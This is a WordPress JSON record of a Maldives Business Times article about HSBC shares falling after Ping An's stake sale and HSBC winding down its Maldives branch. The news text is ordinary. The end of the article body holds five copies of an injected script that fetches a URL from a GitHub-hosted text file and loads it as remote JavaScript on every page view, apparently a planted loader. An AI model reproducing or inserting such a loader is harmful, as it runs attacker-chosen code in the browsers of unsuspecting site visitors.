{"id":9431,"date":"2024-05-19T08:32:34","date_gmt":"2024-05-19T03:32:34","guid":{"rendered":"https:\/\/mbt.mv\/?p=9431"},"modified":"2024-05-19T08:32:34","modified_gmt":"2024-05-19T03:32:34","slug":"hsbc-shares-plummet-top-brass-eyes-business-trim-maldives-branch-winds-down","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9431","title":{"rendered":"HSBC shares plummet, top brass eyes business trim &#038; Maldives branch winds down"},"content":{"rendered":"<p>Shares of HSBC Holdings fell over 3% in Hong Kong last Friday after reports of its top shareholder Ping An Insurance might be looking to cut its stake in the British Bank.<\/p>\n<p>Despite this plunge, HSBC&#8217;s share price is still at its highest since August 2018, trading at about 68 Hong Kong dollars per share.<\/p>\n<p>Meanwhile, Bloomberg reported the Chinese insurer is looking at possibly reducing its stake in the bank further &#8220;as it seeks to reduce its USD13.3 billion position in Europe&#8217;s largest lender.&#8221;<\/p>\n<p>There are several options including &#8220;further share sales, similar to the USD50 million sale it disclosed last week.<\/p>\n<p>Ping An sold HSBC shares worth 391.49 million Hong Kong dollars (USD 50.19 million) earlier on May 09, 2024, cuttings its stake from 8.01% to 7.98%.<\/p>\n<p>The sale marked the first disposal of shares from Ping An since it backed a 2023 shareholder motion seeking to spin off its Asia business and establish fixed dividends.<\/p>\n<p>Meanwhile, three days earlier on May 16, 2024, it was reported that the Hong Kong and Shanghai Banking Corporation (HSBC) will be winding down its Maldives branch within the next six to 12 months.<\/p>\n<p>While it is unclear the decision to close up its Maldives branch falls within Ping An&#8217;s decision to trim its business stake in the bank, HSBC said the wind down was part of its strategic restructuring efforts.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Shares of HSBC Holdings fell over 3% in Hong Kong last Friday after reports of its top shareholder Ping An Insurance might be looking to cut its stake in the British Bank. Despite this plunge, HSBC&#8217;s share price is still at its highest since August 2018, trading at about 68 Hong Kong dollars per share.<\/p>\n","protected":false},"author":4,"featured_media":9432,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423],"tags":[],"class_list":{"0":"post-9431","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>HSBC shares plummet, top brass eyes business trim &amp; Maldives branch winds down - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=9431\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HSBC shares plummet, top brass eyes business trim &amp; Maldives branch winds down - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"Shares of HSBC Holdings fell over 3% in Hong Kong last Friday after reports of its top shareholder Ping An Insurance might be looking to cut its stake in the British Bank. Despite this plunge, HSBC&#8217;s share price is still at its highest since August 2018, trading at about 68 Hong Kong dollars per share.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=9431\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-05-19T03:32:34+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=9431#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=9431\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"HSBC shares plummet, top brass eyes business trim &#038; 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